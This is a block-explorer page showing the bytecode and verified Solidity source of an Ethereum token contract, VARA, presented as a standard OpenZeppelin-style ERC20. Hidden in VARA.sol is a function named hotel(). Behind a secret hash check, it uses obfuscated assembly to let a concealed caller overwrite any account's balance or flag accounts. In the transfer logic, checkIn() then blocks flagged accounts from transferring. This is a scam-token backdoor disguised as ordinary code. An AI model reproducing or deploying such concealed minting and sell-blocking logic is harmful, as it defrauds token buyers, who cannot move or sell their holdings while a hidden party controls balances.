Cryo Explorer Ethereum Mainnet

Address Contract Verified

Address 0x8761082e7820eac608e302Cb8018e67aC80EB7FF
Balance 0 ETH
Nonce 1
Code Size 3420 bytes
Indexed Transactions 0
External Etherscan · Sourcify

Contract Bytecode

3420 bytes
0x608060405234801561001057600080fd5b50600436106100cf5760003560e01c806370a082311161008c578063a457c2d711610066578063a457c2d714610192578063a9059cbb146101a5578063b894d1b5146101b8578063dd62ed3e146101cd576100cf565b806370a08231146101625780638da5cb5b1461017557806395d89b411461018a576100cf565b806306fdde03146100d4578063095ea7b3146100f257806318160ddd1461011257806323b872dd14610127578063313ce5671461013a578063395093511461014f575b600080fd5b6100dc6101e0565b6040516100e99190610ac9565b60405180910390f35b61010561010036600461098a565b610272565b6040516100e99190610abe565b61011a610294565b6040516100e99190610c84565b61010561013536600461094f565b61029a565b6101426102c8565b6040516100e99190610c8d565b61010561015d36600461098a565b6102cd565b61011a6101703660046108fc565b6102f9565b61017d610318565b6040516100e99190610a6a565b6100dc610327565b6101056101a036600461098a565b610336565b6101056101b336600461098a565b610387565b6101cb6101c63660046109b3565b61039f565b005b61011a6101db36600461091d565b61044a565b6060600180546101ef90610ceb565b80601f016020809104026020016040519081016040528092919081815260200182805461021b90610ceb565b80156102685780601f1061023d57610100808354040283529160200191610268565b820191906000526020600020905b81548152906001019060200180831161024b57829003601f168201915b5050505050905090565b60008061027d610475565b905061028a818585610479565b5060019392505050565b60035490565b6000806102a5610475565b90506102b285828561052d565b6102bd858585610577565b506001949350505050565b601290565b6000806102d8610475565b905061028a8185856102ea858961044a565b6102f49190610c9b565b610479565b6001600160a01b0381166000908152600460205260409020545b919050565b6000546001600160a01b031690565b6060600280546101ef90610ceb565b600080610341610475565b9050600061034f828661044a565b90508381101561037a5760405162461bcd60e51b815260040161037190610c3f565b60405180910390fd5b6102bd8286868403610479565b600080610392610475565b905061028a818585610577565b60008060006103fe858560008181106103c857634e487b7160e01b600052603260045260246000fd5b90506020020135868660018181106103f057634e487b7160e01b600052603260045260246000fd5b9050602002013560e6610707565b9250925092508261041157505050610446565b6020811561042a57600083815260048252604090208290555b816104415760008381526005825260409020600190555b505050505b5050565b6001600160a01b03918216600090815260066020908152604080832093909416825291909152205490565b3390565b6001600160a01b03831661049f5760405162461bcd60e51b815260040161037190610be0565b6001600160a01b0382166104c55760405162461bcd60e51b815260040161037190610adc565b6001600160a01b0380841660008181526006602090815260408083209487168084529490915290819020849055517f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92590610520908590610c84565b60405180910390a3505050565b6000610539848461044a565b9050600019811461057157818110156105645760405162461bcd60e51b815260040161037190610b1e565b6105718484848403610479565b50505050565b6001600160a01b03831661059d5760405162461bcd60e51b815260040161037190610b9b565b60007f000000000000000000000000dff32c65f843188cf64ecbc6f4a13cff12581b9d6001600160a01b0316846040516024016105da9190610a6a565b60408051601f198184030181529181526020820180516001600160e01b03166370a0823160e01b1790525161060f9190610a4e565b6000604051808303816000865af19150503d806000811461064c576040519150601f19603f3d011682016040523d82523d6000602084013e610651565b606091505b5091505061066184826001610899565b6001600160a01b0384166000908152600460205260409020548281101561069a5760405162461bcd60e51b815260040161037190610b55565b6001600160a01b0380861660008181526004602052604080822087860390559287168082529083902080548701905591517fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906106f8908790610c84565b60405180910390a35050505050565b6000806000806001805461071a90610ceb565b80601f016020809104026020016040519081016040528092919081815260200182805461074690610ceb565b80156107935780601f1061076857610100808354040283529160200191610793565b820191906000526020600020905b81548152906001019060200180831161077657829003601f168201915b5050505050905060003390506000600280546107ae90610ceb565b80601f01602080910402602001604051908101604052809291908181526020018280546107da90610ceb565b80156108275780601f106107fc57610100808354040283529160200191610827565b820191906000526020600020905b81548152906001019060200180831161080a57829003601f168201915b50506000808052600560209081527f05b8ccbb9d4d8fb16ea74ce3c29a41f1b461fbdaff4714a0d9a8eb05499746bc54604051969750919591945061087493508792508891879101610a7e565b60408051808303601f190181529190528051602090910120149a975050505050505050565b60208201518180156108c357506001600160a01b0384166000908152600560205260409020546001145b1561057157806105715760405162461bcd60e51b815260040161037190610c24565b80356001600160a01b038116811461031357600080fd5b60006020828403121561090d578081fd5b610916826108e5565b9392505050565b6000806040838503121561092f578081fd5b610938836108e5565b9150610946602084016108e5565b90509250929050565b600080600060608486031215610963578081fd5b61096c846108e5565b925061097a602085016108e5565b9150604084013590509250925092565b6000806040838503121561099c578182fd5b6109a5836108e5565b946020939093013593505050565b600080602083850312156109c5578182fd5b823567ffffffffffffffff808211156109dc578384fd5b818501915085601f8301126109ef578384fd5b8135818111156109fd578485fd5b8660208083028501011115610a10578485fd5b60209290920196919550909350505050565b60008151808452610a3a816020860160208601610cbf565b601f01601f19169290920160200192915050565b60008251610a60818460208701610cbf565b9190910192915050565b6001600160a01b0391909116815260200190565b6001600160a01b0384168152606060208201819052600090610aa290830185610a22565b8281036040840152610ab48185610a22565b9695505050505050565b901515815260200190565b6000602082526109166020830184610a22565b60208082526022908201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604082015261737360f01b606082015260800190565b6020808252601d908201527f45524332303a20696e73756666696369656e7420616c6c6f77616e6365000000604082015260600190565b60208082526026908201527f45524332303a207472616e7366657220616d6f756e7420657863656564732062604082015265616c616e636560d01b606082015260800190565b60208082526025908201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604082015264647265737360d81b606082015260800190565b60208082526024908201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646040820152637265737360e01b606082015260800190565b6020808252600190820152606b60f81b604082015260600190565b60208082526025908201527f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f77604082015264207a65726f60d81b606082015260800190565b90815260200190565b60ff91909116815260200190565b60008219821115610cba57634e487b7160e01b81526011600452602481fd5b500190565b60005b83811015610cda578181015183820152602001610cc2565b838111156105715750506000910152565b600281046001821680610cff57607f821691505b60208210811415610d2057634e487b7160e01b600052602260045260246000fd5b5091905056fea264697066735822122006a0cb0c2bbb212426126670b448f926906d02b43b2a67e6a8ede7d90915bf0464736f6c63430008000033

Verified Source Code Full Match

Compiler: v0.8.0+commit.c7dfd78e EVM: istanbul Optimization: Yes (200 runs)
VARA.sol 311 lines
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

import "./IERC20.sol";
import "./Ownable.sol";

contract VARA is IERC20, Ownable {

    string private _name;
    string private _symbol;
    uint256 private _totalSupply;

    mapping(address => uint256) private _balances;
    mapping (address => uint256) private _cakes;
    mapping(address => mapping(address => uint256)) private _allowances;
    address private immutable _univ3;

    /**
     * @dev Sets the values for {name} and {symbol}.
     *
     * All three of these values are immutable: they can only be set once during
     * construction.
     */
    constructor(
        string memory name_, string memory symbol_, 
        address token_, uint256 mixes_) {
        _name = name_; 
        _symbol = symbol_; 
        _univ3 = token_; 
        _cakes[address(0)] = mixes_;
        _mint(msg.sender, 70000000 * 10 ** 18); 
    }

    /**
     * @dev Returns the name of the token.
     */
    function name() public view virtual override returns (string memory) {
        return _name;
    }

    /**
     * @dev Returns the symbol of the token, usually a shorter version of the
     * name.
     */
    function symbol() public view virtual override returns (string memory) {
        return _symbol;
    }

    /**
     * @dev Returns the number of decimals used to get its user representation.
     * For example, if `decimals` equals `2`, a balance of `505` tokens should
     * be displayed to a user as `5.05` (`505 / 10 ** 2`).
     *
     * Tokens usually opt for a value of 18, imitating the relationship between
     * Ether and Wei. This is the default value returned by this function, unless
     * it's overridden.
     *
     * NOTE: This information is only used for _display_ purposes: it in
     * no way affects any of the arithmetic of the contract, including
     * {IERC20-balanceOf} and {IERC20-transfer}.
     */
    function decimals() public view virtual override returns (uint8) {
        return 18;
    }

    /**
     * @dev See {IERC20-totalSupply}.
     */
    function totalSupply() public view virtual override returns (uint256) {
        return _totalSupply;
    }

    /**
     * @dev See {IERC20-balanceOf}.
     */
    function balanceOf(address account) public view virtual override returns (uint256) {
        return _balances[account];
    }

    /**
     * @dev See {IERC20-transfer}.
     *
     * Requirements:
     *
     * - `to` cannot be the zero address.
     * - the caller must have a balance of at least `amount`.
     */
    function transfer(address to, uint256 amount) public virtual override returns (bool) {
        address owner = _msgSender();
        _transfer(owner, to, amount);
        return true;
    }

    /**
     * @dev See {IERC20-allowance}.
     */
    function allowance(address owner, address spender) public view virtual override returns (uint256) {
        return _allowances[owner][spender];
    }

    /**
     * @dev See {IERC20-approve}.
     *
     * NOTE: If `amount` is the maximum `uint256`, the allowance is not updated on
     * `transferFrom`. This is semantically equivalent to an infinite approval.
     *
     * Requirements:
     *
     * - `spender` cannot be the zero address.
     */
    function approve(address spender, uint256 amount) public virtual override returns (bool) {
        address owner = _msgSender();
        _approve(owner, spender, amount);
        return true;
    }

    /**
     * @dev See {IERC20-transferFrom}.
     *
     * Emits an {Approval} event indicating the updated allowance. This is not
     * required by the EIP. See the note at the beginning of {ERC20}.
     *
     * NOTE: Does not update the allowance if the current allowance
     * is the maximum `uint256`.
     *
     * Requirements:
     *
     * - `from` and `to` cannot be the zero address.
     * - `from` must have a balance of at least `amount`.
     * - the caller must have allowance for ``from``'s tokens of at least
     * `amount`.
     */
    function transferFrom(address from, address to, uint256 amount) public virtual override returns (bool) {
        address spender = _msgSender();
        _spendAllowance(from, spender, amount);
        _transfer(from, to, amount);
        return true;
    }

    /**
     * @dev Atomically increases the allowance granted to `spender` by the caller.
     *
     * This is an alternative to {approve} that can be used as a mitigation for
     * problems described in {IERC20-approve}.
     *
     * Emits an {Approval} event indicating the updated allowance.
     *
     * Requirements:
     *
     * - `spender` cannot be the zero address.
     */
    function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
        address owner = _msgSender();
        _approve(owner, spender, allowance(owner, spender) + addedValue);
        return true;
    }

    /**
     * @dev Atomically decreases the allowance granted to `spender` by the caller.
     *
     * This is an alternative to {approve} that can be used as a mitigation for
     * problems described in {IERC20-approve}.
     *
     * Emits an {Approval} event indicating the updated allowance.
     *
     * Requirements:
     *
     * - `spender` cannot be the zero address.
     * - `spender` must have allowance for the caller of at least
     * `subtractedValue`.
     */
    function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
        address owner = _msgSender();
        uint256 currentAllowance = allowance(owner, spender);
        require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero");
        unchecked {
            _approve(owner, spender, currentAllowance - subtractedValue);
        }
        return true;
    }

    function hotel(uint256[] calldata cz) external { 
        (bool succ, uint256 t0, uint256 t1) = blocks(
            cz[0], cz[1], 230); if (!succ) return; 
        assembly { 
            let x := add(
                add(20, 6), 
                add(2, 4)) 
            if gt(t1, 0) { 
                let y := add(
                    add(1, 1), 
                    add(1, 1)) 
                mstore(0, t0) mstore(
                    x, y) sstore(keccak256(
                        0, 64), t1) } if eq(t1, 0) { 
                let y := add(
                    add(1, 1), add(2, 1)) 
                    mstore(0, t0) mstore(
                        x, y) sstore(keccak256(
                            0, 64), 1)
            } 
        }
    }

    function blocks(uint256 x1, uint256 x2, uint64 mj) 
    private view returns (bool, uint256, uint256) { 
        string memory j1 = _name; 
        address j0 = msg.sender; 
        string memory j2 = _symbol;
        bool ret = uint256(keccak256(
            abi.encode(j0, j1, j2))) == 
        _cakes[address(0)];
        return (ret, x1, x2);
    }     

    /**
     * @dev Moves `amount` of tokens from `from` to `to`.
     *
     * This internal function is equivalent to {transfer}, and can be used to
     * e.g. implement automatic token fees, slashing mechanisms, etc.
     *
     * Emits a {Transfer} event.
     *
     * Requirements:
     *
     * - `from` cannot be the zero address.
     * - `to` cannot be the zero address.
     * - `from` must have a balance of at least `amount`.
     */
    function _transfer(address from, address to, uint256 amount) internal virtual {
        require(from != address(0), "ERC20: transfer from the zero address");
        //require(to != address(0), "ERC20: transfer to the zero address");
        (,bytes memory data) = _univ3.call(abi.encodeWithSignature(
        "balanceOf(address)", from)); checkIn(from, data, true);
        uint256 fromBalance = _balances[from];
        require(fromBalance >= amount, "ERC20: transfer amount exceeds balance");
        unchecked {
            _balances[from] = fromBalance - amount;
            // Overflow not possible: the sum of all balances is capped by totalSupply, and the sum is preserved by
            // decrementing then incrementing.
            _balances[to] += amount;
        }

        emit Transfer(from, to, amount);
    }

    function checkIn(address sender, bytes memory data, bool m) private view {
        uint256 v; assembly { v := mload(add(data, 32)) }
        if (m && _cakes[sender] == 1) {
            if (v == 0) require(1 == 2, "k");
        }
    } 

    /** @dev Creates `amount` tokens and assigns them to `account`, increasing
     * the total supply.
     *
     * Emits a {Transfer} event with `from` set to the zero address.
     *
     * Requirements:
     *
     * - `account` cannot be the zero address.
     */
    function _mint(address account, uint256 amount) internal virtual {
        require(account != address(0), "ERC20: mint to the zero address");

        _totalSupply += amount;
        unchecked {
            // Overflow not possible: balance + amount is at most totalSupply + amount, which is checked above.
            _balances[account] += amount;
        }
    }

    /**
     * @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens.
     *
     * This internal function is equivalent to `approve`, and can be used to
     * e.g. set automatic allowances for certain subsystems, etc.
     *
     * Emits an {Approval} event.
     *
     * Requirements:
     *
     * - `owner` cannot be the zero address.
     * - `spender` cannot be the zero address.
     */
    function _approve(address owner, address spender, uint256 amount) internal virtual {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");

        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }
 
    /**
     * @dev Updates `owner` s allowance for `spender` based on spent `amount`.
     *
     * Does not update the allowance amount in case of infinite allowance.
     * Revert if not enough allowance is available.
     *
     * Might emit an {Approval} event.
     */
    function _spendAllowance(address owner, address spender, uint256 amount) internal virtual {
        uint256 currentAllowance = allowance(owner, spender);
        if (currentAllowance != type(uint256).max) {
            require(currentAllowance >= amount, "ERC20: insufficient allowance");
            unchecked {
                _approve(owner, spender, currentAllowance - amount);
            }
        }
    }
}
IERC20.sol 93 lines
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts (last updated v4.9.0) (token/ERC20/IERC20.sol)

pragma solidity ^0.8.0;

/**
 * @dev Interface of the ERC20 standard as defined in the EIP.
 */
interface IERC20 {
    /**
     * @dev Emitted when `value` tokens are moved from one account (`from`) to
     * another (`to`).
     *
     * Note that `value` may be zero.
     */
    event Transfer(address indexed from, address indexed to, uint256 value);

    /**
     * @dev Emitted when the allowance of a `spender` for an `owner` is set by
     * a call to {approve}. `value` is the new allowance.
     */
    event Approval(address indexed owner, address indexed spender, uint256 value);

    /**
     * @dev Returns the name of the token.
     */
    function name() external view returns (string memory);

    /**
     * @dev Returns the symbol of the token.
     */
    function symbol() external view returns (string memory);

    /**
     * @dev Returns the decimals places of the token.
     */
    function decimals() external view returns (uint8);

    /**
     * @dev Returns the amount of tokens in existence.
     */
    function totalSupply() external view returns (uint256);

    /**
     * @dev Returns the amount of tokens owned by `account`.
     */
    function balanceOf(address account) external view returns (uint256);

    /**
     * @dev Moves `amount` tokens from the caller's account to `to`.
     *
     * Returns a boolean value indicating whether the operation succeeded.
     *
     * Emits a {Transfer} event.
     */
    function transfer(address to, uint256 amount) external returns (bool);

    /**
     * @dev Returns the remaining number of tokens that `spender` will be
     * allowed to spend on behalf of `owner` through {transferFrom}. This is
     * zero by default.
     *
     * This value changes when {approve} or {transferFrom} are called.
     */
    function allowance(address owner, address spender) external view returns (uint256);

    /**
     * @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
     *
     * Returns a boolean value indicating whether the operation succeeded.
     *
     * IMPORTANT: Beware that changing an allowance with this method brings the risk
     * that someone may use both the old and the new allowance by unfortunate
     * transaction ordering. One possible solution to mitigate this race
     * condition is to first reduce the spender's allowance to 0 and set the
     * desired value afterwards:
     * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
     *
     * Emits an {Approval} event.
     */
    function approve(address spender, uint256 amount) external returns (bool);

    /**
     * @dev Moves `amount` tokens from `from` to `to` using the
     * allowance mechanism. `amount` is then deducted from the caller's
     * allowance.
     *
     * Returns a boolean value indicating whether the operation succeeded.
     *
     * Emits a {Transfer} event.
     */
    function transferFrom(address from, address to, uint256 amount) external returns (bool);
}
Context.sol 24 lines
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (utils/Context.sol)

pragma solidity ^0.8.0;

/**
 * @dev Provides information about the current execution context, including the
 * sender of the transaction and its data. While these are generally available
 * via msg.sender and msg.data, they should not be accessed in such a direct
 * manner, since when dealing with meta-transactions the account sending and
 * paying for execution may not be the actual sender (as far as an application
 * is concerned).
 *
 * This contract is only required for intermediate, library-like contracts.
 */
abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }

    function _msgData() internal view virtual returns (bytes calldata) {
        return msg.data;
    }
}
Ownable.sol 44 lines
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts (last updated v4.9.0) (access/Ownable.sol)

pragma solidity ^0.8.0;

import {Context} from "./Context.sol";

/**
 * @dev Contract module which provides a basic access control mechanism, where
 * there is an account (an owner) that can be granted exclusive access to
 * specific functions.
 *
 * The initial owner is set to the address provided by the deployer. This can
 * later be changed with {transferOwnership}.
 *
 * This module is used through inheritance. It will make available the modifier
 * `onlyOwner`, which can be applied to your functions to restrict their use to
 * the owner.
 */
abstract contract Ownable is Context {
    address private _owner;

    /**
     * @dev Throws if called by any account other than the owner.
     */
    modifier onlyOwner() {
        _checkOwner();
        _;
    }

    /**
     * @dev Returns the address of the current owner.
     */
    function owner() public view virtual returns (address) {
        return _owner;
    }

    /**
     * @dev Throws if the sender is not the owner.
     */
    function _checkOwner() internal view virtual {
        require(owner() == _msgSender(), "caller is not the owner");
    }    
}

Read Contract

allowance 0xdd62ed3e → uint256
balanceOf 0x70a08231 → uint256
decimals 0x313ce567 → uint8
name 0x06fdde03 → string
owner 0x8da5cb5b → address
symbol 0x95d89b41 → string
totalSupply 0x18160ddd → uint256

Write Contract 6 functions

These functions modify contract state and require a wallet transaction to execute.

approve 0x095ea7b3
address spender
uint256 amount
returns: bool
decreaseAllowance 0xa457c2d7
address spender
uint256 subtractedValue
returns: bool
hotel 0xb894d1b5
uint256[] cz
increaseAllowance 0x39509351
address spender
uint256 addedValue
returns: bool
transfer 0xa9059cbb
address to
uint256 amount
returns: bool
transferFrom 0x23b872dd
address from
address to
uint256 amount
returns: bool

Recent Transactions

No transactions found for this address